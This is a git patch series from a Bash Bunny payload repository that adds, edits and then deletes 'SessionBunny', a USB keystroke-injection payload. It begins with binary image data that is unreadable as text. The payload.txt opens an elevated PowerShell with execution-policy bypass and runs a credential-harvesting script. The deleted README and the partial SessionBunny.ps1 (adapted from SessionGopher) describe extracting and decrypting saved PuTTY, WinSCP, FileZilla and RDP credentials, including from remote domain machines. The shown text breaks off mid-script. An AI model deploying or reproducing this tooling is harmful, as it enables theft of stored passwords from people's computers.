zW90Lqw^9gOg)!J^VLGw^Un$WbWtP^PE{ld1Rwc zPP>o`M#z##g98l2YyI6ic@b?Cy|V8`1pvim8!^1PlR!^Qbnt*B|I7#F4y$1Kx?%fJ+2)ENs{&FiVyP#iqw(jqbfH;pPNW@s*UO@b5 zIjO6!pSL7kcVWHq*1QFBfbbSk?wFBQuW6N*hJknT-6v!i9f28jf;?w zL3y4AgqCwEiXBA?6f8^90ZIl^(K;?~#wT4DU^?;;_C@g%2xIODt6dR<0J)HvdDQXg z;1%*9a@Ks#ZwFs#TA6JFWa;;8_%D}a=pW@vb^DN5`aAmZMkhYF+s%#l$Og$?ISNpw zmz?L6cHgPlKBpf`?VUtw#q(Iw3^@$n7#YQ_5wBSa`W#jF$GS$b)tE@P_?+sKJX%K-pPR`z?v;J0a<@2~Wboy^g{UJoRt1`_O8sUd3&p1>%>H z0FwP8IEm@`Kf9d8Ipgm@~(3-auu5$xdKXAC_Dk12a_*wN6VEjkoGWW&Dh{2KtJSJDu)T zZ9IL3h3honJqL(46W_IdM*EUee!adM5bIk<>aj&Wi((GlyMfF;8l+9(yp$)NY~(Lx z=Av@e)hDC|XaM=X6Tzhq^*}sP)H7aZhhd`Cfs0w65?r zWSJ^6xpr6R{heC}M*hwbO9AO16j@fuB7>h5NwWqx1j)9ZDCq)ta?~`MskgC>T(CTt z>fH-3|4jWgSs_G{KBR8CmAxgdp038DQ~dQc-Ra`O^FwYGK-#Hypk$@NsC&k)812;U z>6egf6%;_JhVFe>cet<}Y?(CNmL|BEbyWwvMFl7{WX0U$p26W-m zb^+)*Q1Y{Tp|Y~AtRCG=74GjGy~AYC1Y@&&&%IL*Mrd#ONX$qp;8=5^U3dm=+HU_6OWXYO&kd-I+# z+JBUfBZ*WE6dPRf26#Oa3w*?h`DcOxlMROU1J^Aj4z~37{Lb$?Q|@#8ikC08rx`nt z|2f{sm2?+=;LF>B)9M z+cv*nxlR54rRy)4EMH2HWrwn@wu$HL1quU)`Vz9OQpY{n$yE(XDrd`@pIh464ICJZ z_XQTy`2&5OabtYu@Yx?%%=XBRe1voC8AYp_K=h=gwO&Y;LQ7`Gwvt;clCujeP_9>x zX6(G+4hR?h8B;!3raz|uZ+ysjka=pXprjIy=d~Zd7)JY3iVap`A9emmN3zu)a|3cL z)e6i>Uul>EPLritDAKXc#}&yFG1%!?RT1Z}*lXR75ozzWQv@2{%UsUzJ>FXQM%TmW zm;2?6s$Sd1`2#S&u~(dDum3ZB&7O5fiM`P*G0 zv&_Z;7r764@8Aroj~gHAiG>Y9edvA455Z5tfW*$8BG!LZ?LQ=YEPV|EN&k@EkrcS@ z+9`mz{kIs;RvcoKw_&r}DJ7J0tvky+0z5tE!!M>CX2zCzcj4nZ2Fl7Rsehlsz{B;I zYgxFqju;n2{N;^a(by-oHN@UkJ9LvT zmiLbP;RQ4`4JM^28AhtGN3#Nm3qKAWRu{eiyrGlF-}*%#J|ABBPtW_6lzaStt$B$3 zn@U!G%KAcZGtdyq7RSyQ9_^9txj_DijlIQ`>2xR!O!e{Czp=jozck-*?0N>7X@5JA zg%HsO_@+6BL3>frwPRI4wQaPge~X$v|vek{_6RAl0wkJ zs_|^d{ALhZs-AGAFN%>8Bbl> zaswcNJ0Y3QBmwG5&z8t?qtVniM(iovbRPLUGaZ1u`@phR#9?OWNgX>J;5oa(taJK1 zeSn5>C^7rnbPSJ-1ktbw&Hh^1z8RqF2Wo>zSqWxb%9mk-WbL0TIEADn!rQ3KdHyV> z>%YV3!J@YYeE>CKQZI)_c|aTzWmjYCOd+S<tBi`+0Fzw4Eva* zGfQ}?Qx^u|0U^w|Bh7cl%>f_u$jF@e8~xaWsl%x@vDssj?l8g}R|E9VH|s?rdq2I7 zK(1;6_~rB!vWO#9bZ^YkA^vdP_SZ)z02F-=UQpVt$lcX@VIPZjRb%nfG${52c5F^D z?P4v*GxpRJwl@`H#s|)L=zY91VZclmXxgN!_nGgl=(Vhm(VGehrb_GUqzgwD|fnO=ry^D?iX@Vye$B7nF!9Tj-IAP7=e1 zgSY$|5SF!j9h$;y69X@E9`D>o)`Vg#r8EhJhvUTtMP;yKe%?m-un3yAXWZ& zepnAc9W9N$a>~vOp>P=#s8A`CDCtG=o`bL*2%AS;H>?>0RPZPRq9^(vnI&?)M&nbF zfQd4OV!v!u6_&#vMn#ZPL05tf3-@0)zfi4Z9#j8w00P*m@0vqmnJ7k5ixH7kQJ=uHPTp$F9GjmTZJoyDO{iC;`Qszn z^1k!tfSvnFlxc|utF}K?WQ!halY;?#9U%Z7N$!xOoFh+lV;x9bjH%;qPpCe;>glf} zNqh0<@)y*WAZS)j?uyT%R;i`zI$~(l6d+(urwxC#G@ef4NXG#;)cd6=QY9KOz7-8c z92DzlX3Db8yrk8;#yoOGn9f8hje{~VK5;|^=K8=hk94KM1-xb6R50_?j%}qb60db1@#OY z0|L_Q$}z<3Mg3Ixb_%*XtWMB6aduDLmV?{c!H&as1dwYO-wTI_3X01L8J}1U_$03P z5e0BE$JpDWN#sv@5xxVERshn&jnkR;3g{D^rT@%oFmZBAPcGy34xGRkmU}!;1xOML z5Jri0g6?=Dv6x_>GGciBr<_DM#`a&!tGN~t`Qwi;BZ z^HOfgvMGSPs0Rv%bI`Z42^vg`XIdjw-f?z-0KV1Q z;H^Ngpk&M+t0Sl*6%V)$%mBZ1mQ($v6b{xTa^}g8k3@)3P&ZmA7}*D#`a0k{w9K@; zqj~n@hD}9l&Q)`fjv3cS>!6?Jjgqjp6%ZxEN~1@Q`9Nm4GPlTk;vpcn>o3R=Wl1&b zS!~tuid{hr@Uj~?ubSiI>?~96PI}DTHB*2_a`6v+GayJZtE&fiAuoM?;gygNRTjgH zmMl*CPWuPlPyg_)otMVvxf!UCD-U&bRTzz`MvcVGe5WJ_L5bTE8rh!5hfRS=U-aX{ z-kffO>w;u$6J3SfSlR}hAXqr@sY#;t71X1WCiqpC#6)uU{6iUy`0n2GMUI1jJ~vV( z3fK|y0A7K4{Fye_p|L(&%zfpPg17Z;m721jBI>?~nC=LOzbUV8gIN{sQB6|I?l>XL zMt&yUFAVTgGyZdXJ;?*PWf?uaJ3-w$%9%i&U*W(X^TqM`%{>iFqNgl@PzVS`Ad$>eh6L_j4{0@$uZ>@TcoxQs`P3}q#o}n_Fi2<|elm{)k44KVQ zft5PHcvHW%YEGEw@?bd?=o048sg{io?;5=mLEdwhcPf$_2rgjXbxF`iD_771Efy7v z?v|vNme=496l3`^zizd%lo302_KJq?F{e7*>gJ8vnZwPxwh(v4PA^6t=XxO5YT=;! z@xX$fR-X;p#W-1Pb&IEl2Hw5_-I^ZSJgyCdh<)@_JTV=arV4eY6`Rc$+al8}E=|sb zC9##_<^e4nwm6Nt3yC7ewrA_7xSse3V3<71NBXcbRT!!fS==cr$wf9vR+UN6eisAL zpb#_d!v^BQTQnf6W3*L(yl8{!!`L!BSWkwK!>6lc{-?{BD@}>fM#gpwTH5Xa(qDGC zCO0B5PMDw;1SnibFICA#)^6K|3XUgPE#`F3r)jXJ74z0gqh)UMCM_QoV4{itK4(KZHlrZb+}k*s_n>btZ@*7+HQ&OQ+Nd;y>ES{1x)|Ur>7K9v4{$+(qmW74exik zdF}XZr-03QH^` zd~#6VW;u~;NixXMpp%Ucul&Hz<)j8^Mv1DfCqvObc!4dfqmN^x_m9saj7v)$L?4UA zoL%&aR}v|7A%}nt96tZ%n_Xpdii}W?TK760F+7A%HfZYQ>)UPut@QgO7Ht*RNk1s! z4|UjObrt;MeWcH(G-(9oUPquR?fvd>LYHcjX{{H%cP$ppqMcUv)?(KCCmDZ?QH`~f25;(-< z)@Ss}rdo)1T!Q5PI4)!~@j&VH-II5ZM`6pZU;471{rd5zhj)s4lhLO?(R~~5X!Nc< zFW_5V5Q;=`xm(rd&Cl|0@E=Aj<0V9cU>Fz-`!L3jk>f*+V*25 zn&4tKq=D~9$67cZG%GU#&&qoIJyMRbHlE5^SheN@?1rsYVEXc=SVRy9a9U$~DIrXb zkvS2-&mV{oG>v;YbU?MH8~(|y4dleqkEvI(nz_!ih@is#Rnz@G!(&vrn9xz!7CKuU%X4m!$UgdpQVsoM%|?T3N~T#}EW1~dUTwJb292Ac zCvailNa6nUelK$g6BRzZ$2E&hZS%{x)&QLzDxh{-T&I0}yd3|<-ym;iwq8n;s}~;c z7O=$|Ga4jy0E|&l)ry2x@D1;W_zxJ(Fpf6oXW1xb_~ePFX3HEV#B$=!Rv8%BA^1bq z3?7vvSI8_*zVh_?)TC`ZmX4b1zTY1ptC6M;W()CX-X?Yx7^YZ*L zs_-#*GP<9O#dxr@AUg2O45-$lXQiMg=rLufY9smZ*;>S)*6VZjJYzZGd?H~Cd`&vTA6CF2ugbFJ7iG3d^~%Dl zzmj+nO6XFVCJ2vcVSF;P+6M$fO?=G0BZ27n`)v%v^Um8AYhVJ6qjJ+CNwfZeDv|zA zw3JBJ!$?_lik!sCAd{iEROZfSO)dLj=eVJcqP&8$rM^zw4k0;3Fnw6ziJ)$T98NIQQn@E|S;hEAW@{TR6uYgF&~C2P6TB0q(i-5%*z^L4IM z(?)yeya{s)d(~$>yXy8|}2|cXIHOi110sfS) zyfIX^vl8E+*=E{4?R1Itq5XHLD+Mf|QisNk`|lK!)?Py3_B=wVi&dIE>(;!5TYkft zJK2nOWfJVUNJ64=0mNFy!;5zUra7X-L7uh15hy0W5wtU2n{%V{rJ9!&BGWlN+ercP z-r|o;7DV*AU|47A>FwcT;S<_KHo6GK3evTjTs99I*FZg*@rqMXp15*9>uSZwa~l$g zi`-t6bl(p%f$nkrWt&f<=FP(4nyB}2DI7RIdt0^jc{|A%9@N5$kFZ$Aw12Xu+d`zz zcEW4lMRY^m_x0zJ^dd=~6`;uxG}c>lSp};MbT#|^-L!rgZR1{{(T~cB>z@&nRs~eI z0}LAWd;KcXohHeP6*%ZrUmhkpPfFiCL|cxra~{)$fM zlC0L2ouUiponDbtTU{3h*zxWBT*7FQe+4kiI|fYhG}~xBP=iy zGX-v4*g%GXRgkq5RAkFyo<%0%VI0Qeos0XA;+Y+M)#7~Vs%Qp`$1AxJ)ve7coA8Kl zddKf)&B2P=cw8R1pG9(L(7cX$k<6wUsBsQ|vhvjO6M?L4cNfbR9sfi-cu%ZYRRP)*=NIMIUFzUebId3VlLw>-|8!`^Yk@BE(nIW_OH-NO16Muve>Y=lL6 z;XLmGMlanr&l0y^rwg^R^DvED$Wn>5{6qjv>!jY8C}n6paqQWqxTjYz6(e~{1iugs z^lENnXjbj)@9WnA zfs_Ttdk3Z&Fp?PHvHAK+yz-$b$f^M=FyvKM>tIq1Gx_>dRI<0T-s6$;afQ)I^#cn6 z5{>KCaVx!>X?zUN67tIC7Hwlzk`261Flbwa#6iU87qq_`A7Wd2S?~Ei_!aaF7^gO* zpL-I6 zJiGPh3QmrjP6VH4-3CJ-;?Nc-Shfh$S+t8+i`A=&OZ|xnJ?`~tSKaEXjD9Lb7%l18 zeT^w*5|A2E-K^MbsX2X>d|@go^@i_N>!{O(h3R&9f`Zc_naFvoj56C=76IY-gCj-w zUzR2I5u>ZeSjXVA1=J+=j~^E&{SH{IcW!F@&O$fxjTyVF5*CU6kcV|xmg}3w0w^m` zf*(QPWXSVjVAd6C2P#^(plh=h)#WuvTZK9caJpGcXO--%t)j7(+&GAzEuB<-H&CPa z*>Q-s(D)5G;sJmHd{U{1G2@<>qCJ@b{ujD!M1_diePvFdiLzrx4F2g(v&(7J6hrc( z$;GDTDKI~;)#S0^Hk(fq7Vd`Ty{nQ-A4qu{&K>q_l!UF^y*DKI53UqZ#pMq zy1xu;yQu*+BYE|K5&q}qHq#iv3w=JfF;jsNyJ)}NIdC;K(lfuI>EJW`7!;{O&VBg? zf>`%e%-KsW3amS*W~mI^O}D71%>q|o%0D=1&3kPJRgPBHby>yoI`++L zLFUxrn_j#}i|YBKSRa9>qvf1kU*vK%*CTmm>NxzW{pLGB^gGhxN8(EthmT--wgaM# z``<~5YVv)5ZK}mv3!R;>acFRp9ofuWQ$Vwi-+03$5Go}qp+Sod!}UPbBDgy+w>^b! z>_5=)Tq0#ntPq#lXSZRS97U z-iWdt1&P6v5csU)f=6CCa)14hbs5s#i3WsFTS;DfjY%w@%;?vqR)VsC%-yV36? z1mlC59uw!q%j!Npfad!cr{&nc47yRcUE(eTfg_&40+15yuTc4&g3HKzhRkewxf`?& zxAEv5b=H*t+YSFz%*<92-kOg##}!Gm*W%rDyn9VciTESijTKPx8*@U3*wl${t6-Y* ze{O-k&f^yv_ks`lJWy4xhZ@yazz!S=oxdFlGmV||vI%ac;@3!b`!;Et0|svDIyMg^ zoAx*56RHSLrx}Z~@DQw2#H~*X-^z+#ZI?|!I;GcXnUN-l#kCG?T8~zHgqc{;xWRzh zdUb+X-VoOu7~*%L{3JWW=U8Nu|A|qB2U3&UuC=SXEp-cv%2Q!ak(&zz1@X_7no>f~ z8Z^ZZEbiBidz_?rZ@jFM-g{kl3|`dRWq4&>zIYM(L^Zf~yf1rtsN>l$E6-@#OMS`} zpS$4_IQRAtQ4n=;@`FCF$!#4kYGGz$h?X4;?U1uYvd>S}L~f=wEL2P+=4X#!M#@&# z6n4L8mIrLha5nBRu`c@8;VDf>WFNMsw0pRs)oS#MnOn5Gb4$XYm%S6-TRG>CmJITX zl(ttydU&B>7LwHT!!k@zHg{09sh@GJSnX4=RyVpQJwc)sVp!~1f`QMjMx+cV;DV$~ zgMQY_+Io7XxYy&96>6T`dJhiNI<4(^u#YX3N`ScHX@b~gW6z3r72E)qzlt61QO%uv zrI_upTtRcWKl`=NL*X4R)xrw-j6rsB+XY{oVGfB*UYMQ;N-WtP4@mKht{rlB9QDp#3-t5 zp43v9S?6c&F)*PdvOT#Fb};u@=lfq8wQO;SmG{YHwmTDwCXsba0ytoe;r0g8>v?5r ztrya)pJ(pM?WMm>B#x1kMRNVU5F!MZ)Hh7qq^tEF>n${bt` z(MqlDB!G>!ty~iy6jpR(umPz`z&BIN#rx}u$JQjdlMrz_UHV?48a2d~+(r4iyH%}W zmW)|xTvCs^=eKAKZJrv=6DyQy{{u>dp-FXz1XmpM)1n#ttv9*x-hWn9x4?+fA3_aY|$zuk#yt5 zd;AAsujsNuZ#NfXqg0J~8MwjLcO=E_OW_};^vs~5JDKy@xL7Z5m489t;BkO0>?DCQ zcvL5AHESkkM#gKr3RkgzwlCWGh(W)M+B?bLyx0#rv1*&OBG+xaL0gSCrG!zveQ&F? zpL?98csA-WEyE0I4-aCqp0|ptnog2x$xrA{9wzGonSn5i5SH({f(Ub~?1+53@Ss*)hWq4jZt>`!-$MEJvgzJPZg=0tZ&%FLt}pg! zYskK*Dw%_s@}7bfq!@ zH^|ZN^xL5V&3ffh+wwedW7-#Y4f@QMW!$9eJ49EPPN+N5fied%63w+F^G9Bh##L5- z6yUgjxUL&Z{gCu+cvKQTtP!eccbs|IUip<5C^ditNuUhAyt7T)faTYuW!Y4e)2v3J zXUzhtEH$7&BIx7*rc3jKP-j26Vk4A!Ub;eJKmOMXr_fB$jRl!-J{XWh5hfdbdI!!J?Y}amF&ZY!3bQeQu)8s_nqd&rje;M=WSP%i7m-yA;WAeK)5Q8-1+(AU* za`}ga7@ZOZNMN@_jtaL!zMVC{OcHHW{Xpuow~D$WACjOT`+~jQBs3xl)VXl?fj-*so4{&)u{Qja9XA$6?>b zt+FMhxCPBWGL2=&ig;;=%J=SZ>_2Mh+FI~y9@2HLJi+kRcUv};dj-dD^T4+ufg|PY2;GY3yjvAM2L7jVOoQN9jI)xPAeeTeY)dIJ_ z+67#>v>d5XeT!p<0Ve3YYpUjqdUVAr7eQD!R3r=(fOv2)qk>5se;JjRT0Jnm0##o| z(m^l+{QHfUo(h!tf6OHB|H8e+E=xn7f5w)N47gt@tQoK+^teKD+&qm zumyZQ0@h9ZTbP%hklhe1XPDT@YokrFel8dlMi2M+!(uJGPc zwlN7;>ML^IBmGh3YDK=aBLmJkmV;?5(%Z@RR8%0OU(fO4B*6X9dVN22*D8e=Fyd~q zO|pHSWsO{^D=*W0Vl7X4>|=~8)?nZsf^5ATpI_AX5BlL=W-I_-nDa+5c=)I|ypA33 zb;bG-%=x+wa&yc>KqgMCPPQrn26Coz(yPiy$x0WYU`d@ zd}VHk$aAmaoF_Lv3*`ZSBYN``vq`_aC^+3zs zKyN74KS=jX;|H=Y#z>hQRP$bd)nj-wx9OdZOlEpq@0^>tEdsHQ6ldws<{nEN>)pg- zl;vYJ9EgT{pQRu1mDOd}RCVNYv(SNN6?;=g$iP$<1oo(|zhreE3)S$FziJ}zt0$jj zu&T8InkDD|vrfN#!H<}g+EgwZ>$X0WtzA-ya;vt;|GqLF_wF=@*s5`ZRFPaRW$%RT za>c{zoNT293%mXld+hgTwd%v4$BmjfCI*@Y@c*=Zg&OS^)WveiLWoO(#zN;ToL=U| zg(YzEjOJW-GMp*awciLln&w|@X?PAksMD+_(0`ID{K%j?`s|V_QQvXEr*};M{2IlS ze3U&ffMzrDvCtH3>{A7u#qL0<_>NRsolb#Ibi{qi&HjJ107m z>W7|028|icTOXCyssicKV!GHacOL!K(8Jef$0TcbE9a1yUC!pljcG3y@N2HpwlawY zOrI*T5296GE~$0vb)EiVzHi5vV=^)n@d2tapmS!)GtG+kZu#VyTZYGH%AJ#VOKn5m z9?*}eSZ4wEiksDUL)%j@Hc|J$`gKAbg+F}||2S4Ah+Viv2!n)qcZR8Y3|1fl3#G)F zDVrbn-v+QJ8=5=QqU!8%C*0chhyS!uRZI%W5Pqd`Q?j=cc9;7}?U@{kh+spx;m; zu+)9u=c7Nc<^5N$?(5D`929)+V>*ipUz~ow?u2*qXwmF)W!s^X(s36zEGJY}5tv_y zxKwv&q#9@YwszyOrMv3j>xVGf_cQ-3wD#b4r`E=+zk4hEIDg1@=Uh5@$XKBB{ufB# z-;lchIhQl(Oy3;}BBdSTu3!3Byn--z8Ol1MdY(5OvbpeLT4m4wYBkc{2%{8 zw_zvtpehWw=&`7?RkB;Zt{&8X0e_#o!t%SYK;G&ej3aR4OFiY@RL|Q&jP{rJ_nQ9k z!xntsik#^rAMzIWU_qPli~o2U)c#J;KYp0$X8G%GpW}kIav-}S4f{2u1Hu&W1ZiLf5B+~=Y0A9eqQ=5-h~0EE{i>R z-#h)C4mSSflpSVw^DVZ(QYA8C^U3vmSZq}YDj$>lI=|D80==iyk_4wtL4>XiROtQf5v=!8wUV=RR9b`DpWycJgrm6^Lwa5Z=`iFlGxb4khg#0 zV^VU1C*0t5$6+wTrlf`0@0&%4#^Rp^(Aa|NY+g*^1KnCvgp-MmQ)Rc|(+Wh^0}?v` zv>HCndH#9b=!24ED?woG7K6mOnZB?>3tDM3%#cZd=)fzsROpDQ1{iGF^tNLj@8Fdv z?9S&^@zcXg=$jYl^&|WV3(&GOQkp%+q-M?y)aqk?B`<0TR^K6YI>p}YR=Sp*L$_l? z@v3uVUK)y!i}zx_h?0p-?_t9E?ikGz>tMa4ADl!O#qXj;Qw+|!u4^H3aE{*a*>8Xj z@S?C@7lVrAs&Oz~BXJL*oGdwCJ`m@v2?wEoA!>oFxl5&WLyNT_X8PVFc3A+O?%qoh zc*<3Wu5dHK?a!qkEE*a%p<+Dyg<>g?vy72E#kp*_y3`z|#ajDgj1#hB>&DQdn{czkWpWwe6VT{nI zo6TP@zxpx-?`h2so%J{5(W`dl%hUE&$pC|u9|6)gN$bcu?CMPv%jW32>Oe&xXx@F( zF{I@*qxM*L&q$TQaM?RQ_8rFlC)C<6yJJ4F)Za;fV8lUo#+tVV#^3CY6bzf#QYV%g z`w>QcEN1+wo}fv8G#gZ>cx1ynHy40R8DgGO%wg@-6VGk>-R&8l1A`SjBPtyO)s}IW z(Lc{9+Vqn3oTKN%O$8b0iHgdM{3!Ik&DT$;HSrk*079w=fUBKnkxc2kjw9*@Iq(;W z#HAMLOuAglZq>@Rs zYO_|odxPR$2{q%|Kc+)&HhWh4CKSy8xZa(NxO>njlYpGmr zzO={i=2y*+3ejIEoS{wC0N2$ijy_CUTmU@Ag)<`Nzmd$sGhFf30juA?j?aGDbc6&! z;k611&F{OZtr8VxeYd{b35nO@OP?4KNgh{8da2pQ{ikcNgHj-Nq1%*%!o702sg?2| zfr!?uSf*y`b%c4M&RvnK9oQ#=%Z9inPF`@+!(G+-gY z(lWTz6rzx9U?Xg#pDtV&8i5cH%lfivGvy{Vzm-@-AZJnB4TPT!aSc2y&#!`whCy|w zJ-ZYubkETXChDk(TRKCQtL!XH$uljP*_^RADcpNNB*+v0n%x}!$7w#%P&e!*m2#C|YfN|uVOmO~tc zrIntLRManmQ{8AVuF8Ehun32Kd58C)mS@+o+1SBrCW8Mfwn`4N}%C-R4xR3c-l zuVxfx@}Ua&c&UwM79t;jSr0sl;Gg#1+?Zzo3UBc|k@_OkOZB>HA>H(~izJOPLF>2? zCa{c4^H;~~C^EuFUth3cS`LzNuW#d+f16M=eUkg43(h&Q13Kw12)|zZoCP~yP%yGI zH;8ljhV%SRTrGWpZymME1fUGfpWA#54)~0&TBuE4Sm*d3cwN-`yQlfzDKLPSp_+C6 zbjm&$s#h<4T6e(MXp1XB5AfqdMfCpw=t5ar+!z z>T@%pTW9^m?;xUc&u9BuyAQmSw}q(Q=lgm_gubBKvU?tyR>P-rbKv3TE*R|CtYui0 zg|gqp6C53X`GXLUo}s<-T=5c*42k9;MdOA=6S3QfZN36W)o%m#IMvulc-rc1G*0K| z)=&*2)>T$$9OrgDP~nz!db#zRsu%NWQuCS-ys#Do4yX`YkS^+l4suJ(rXcqHv|pF; zormwh2AX!I#)%>#_%5U3e3l!PUS~jV^`od2&SqyI+u-H<;o-2ey<@WTLG%!8C92U* zj9AU6S1V3#?=8rX!G&%;M8OnOIp!XW*}~$gip$t0cfq$!ZpqpDO2dw>gom)|M@+r? zGi#1x{4MwX*xLHcmczh1nyFFqF4kdXYm)s4qx}*}HaVOx&eR=dS}po=Y>#k9F(Yi` z$TEsMrPW{YY6p*)^Br&3HXl};o7B=45lGhN&kaffI3|jSSCbqbb~odxG<4&7k-C5l?Howx&4^Gke`IL{Ub`W7=ct} SLx1xBP*PC854&sj{C@#axrfsL literal 0 HcmV?d00001 diff --git a/SessionBunny/payload.txt b/SessionBunny/payload.txt new file mode 100644 index 00000000..4531e181 --- /dev/null +++ b/SessionBunny/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: SessionBunny +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 500 + +Q DELAY 1000 +Q STRING "powershell -exec bypass" +Q DELAY 500 +Q ENTER +Q DELAY 250 +Q STRING "Import-Module((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\SessionBunny.ps1')" +Q DELAY 250 +Q ENTER +Q DELAY 250 +Q STRING "Invoke-SessionBunny -Everything" +Q DELAY 250 +Q ENTER + +LED FINISH \ No newline at end of file From e0e0be161262af3f7e7c70ea5a6221f64af65464 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 11 Feb 2022 19:06:37 +0100 Subject: [PATCH 39/59] Update README.md --- payloads/library/credentials/SessionBunny/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/payloads/library/credentials/SessionBunny/README.md b/payloads/library/credentials/SessionBunny/README.md index 5f35d397..ae8d4d7a 100644 --- a/payloads/library/credentials/SessionBunny/README.md +++ b/payloads/library/credentials/SessionBunny/README.md @@ -1,7 +1,7 @@ **Title: SessionBunny** Author: 0iphor13 -Credit for SessionGopher: Brandon Arvanaghi +(Credit for SessionGopher: Brandon Arvanaghi) Version: 1.0 @@ -19,4 +19,4 @@ Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt # Plug in BashBunny. Wait for the script to finish and decide what you wanna do with the information gathered -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) \ No newline at end of file +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) From 277db7ad368bf23dfbb6af26b28c0a4f92480c7a Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Sat, 12 Feb 2022 12:41:25 +0100 Subject: [PATCH 40/59] Delete SessionBunny directory --- SessionBunny/README.md | 22 - SessionBunny/SessionBunny.ps1 | 948 ---------------------------------- SessionBunny/censorepic.png | Bin 52557 -> 0 bytes SessionBunny/payload.txt | 44 -- 4 files changed, 1014 deletions(-) delete mode 100644 SessionBunny/README.md delete mode 100644 SessionBunny/SessionBunny.ps1 delete mode 100644 SessionBunny/censorepic.png delete mode 100644 SessionBunny/payload.txt diff --git a/SessionBunny/README.md b/SessionBunny/README.md deleted file mode 100644 index 5f35d397..00000000 --- a/SessionBunny/README.md +++ /dev/null @@ -1,22 +0,0 @@ -**Title: SessionBunny** - -Author: 0iphor13 -Credit for SessionGopher: Brandon Arvanaghi - -Version: 1.0 - -**Instruction:** - -This payload will run the famous SessionGopher script, which was only slightly modified. Searches for PuTTY, WinSCP, and Remote Desktop saved sessions, decrypts saved passwords for WinSCP, -Extracts FileZilla, SuperPuTTY's saved session information in the sitemanager.xml file and decodes saved passwords. -After you recieve the information, save the items you are interested in simply on your BashBunny. - -# - -**Instruction:** - -Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt -# -Plug in BashBunny. -Wait for the script to finish and decide what you wanna do with the information gathered -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) \ No newline at end of file diff --git a/SessionBunny/SessionBunny.ps1 b/SessionBunny/SessionBunny.ps1 deleted file mode 100644 index c7bd7818..00000000 --- a/SessionBunny/SessionBunny.ps1 +++ /dev/null @@ -1,948 +0,0 @@ -ļ»æfunction Invoke-SessionBunny -{ -#> - - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $False)] - [String] - $Computername, - - [Parameter(Position= 1 , Mandatory = $False)] - [String] - $Credential, - - [Parameter(Position= 2 , Mandatory = $False)] - [Alias("iL")] - [String] - $Inputlist, - - [Parameter(Position = 3, Mandatory = $False)] - [Switch] - $AllDomain, - - [Parameter(Position = 4, Mandatory = $False)] - [Switch] - $Everything, - - [Parameter(Position = 5, Mandatory = $False)] - [Switch] - $ExcludeDC, - - [Parameter(Position = 6, Mandatory = $False)] - [Switch] - [Alias("o")] - $OutCSV, - - [Parameter(Position=8, Mandatory = $False)] - [String] - $OutputDirectory = "$pwd\SessionGopher-" + (Get-Date -Format o | foreach {$_ -replace ":", "."}) - ) - - Write-Output ' - o - o - o_ - / ". SessionGopher - ," _-" Bunny Edition (0iphor13) - ," m m - ..+ ) Brandon Arvanaghi - `m..m @arvanaghi | arvanaghi.com - ' - $ErrorActionPreference = "SilentlyContinue" - #clear error listing - $Error.clear() - if ($OutCSV) { - Write-Verbose "Creating directory $OutputDirectory." - New-Item -ItemType Directory $OutputDirectory | Out-Null - New-Item ($OutputDirectory + "\PuTTY.csv") -Type File | Out-Null - New-Item ($OutputDirectory + "\SuperPuTTY.csv") -Type File | Out-Null - New-Item ($OutputDirectory + "\WinSCP.csv") -Type File | Out-Null - New-Item ($OutputDirectory + "\FileZilla.csv") -Type File | Out-Null - New-Item ($OutputDirectory + "\RDP.csv") -Type File | Out-Null - if ($Everything) { - New-Item ($OutputDirectory + "\PuTTY ppk Files.csv") -Type File | Out-Null - New-Item ($OutputDirectory + "\Microsoft rdp Files.csv") -Type File | Out-Null - New-Item ($OutputDirectory + "\RSA sdtid Files.csv") -Type File | Out-Null - } - } - - if ($Credential) { - $Credentials = Get-Credential -Credential $Credential - } - - # Value for HKEY_USERS hive - $HKU = 2147483651 - # Value for HKEY_LOCAL_MACHINE hive - $HKLM = 2147483650 - - $PuTTYPathEnding = "\SOFTWARE\SimonTatham\PuTTY\Sessions" - $WinSCPPathEnding = "\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions" - $RDPPathEnding = "\SOFTWARE\Microsoft\Terminal Server Client\Servers" - - if ($Inputlist -or $AllDomain -or $ComputerName) { - - # Whether we read from an input file or query active directory - $Reader = "" - - if ($AllDomain) { - Write-Verbose "Getting member computers in the domain." - $Reader = GetComputersFromActiveDirectory - } elseif ($Inputlist) { - Write-Verbose "Reading the list of targets." - $Reader = Get-Content ((Resolve-Path $Inputlist).Path) - } elseif ($ComputerName) { - Write-Verbose "Setting target computer as $ComputerName." - $Reader = $ComputerName - } - - $optionalCreds = @{} - if ($Credentials) { - $optionalCreds['Credential'] = $Credentials - } - - foreach ($RemoteComputer in $Reader) { - - if ($AllDomain) { - # Extract just the name from the System.DirectoryServices.SearchResult object - $RemoteComputer = $RemoteComputer.Properties.name - } - if ($RemoteComputer) { - Write-Output "Digging on" $RemoteComputer"..." - - $SIDS = Invoke-WmiMethod -Class 'StdRegProv' -Name 'EnumKey' -ArgumentList $HKU,'' -ComputerName $RemoteComputer @optionalCreds | Select-Object -ExpandProperty sNames | Where-Object {$_ -match 'S-1-5-21-[\d\-]+$'} - - foreach ($SID in $SIDs) { - - # Get the username for SID we discovered has saved sessions - $MappedUserName = try { (Split-Path -Leaf (Split-Path -Leaf (GetMappedSID))) } catch {} - $Source = (($RemoteComputer + "\" + $MappedUserName) -Join "") - - # Created for each user found. Contains all sessions information for that user. - $UserObject = New-Object PSObject - - <# - PuTTY: contains 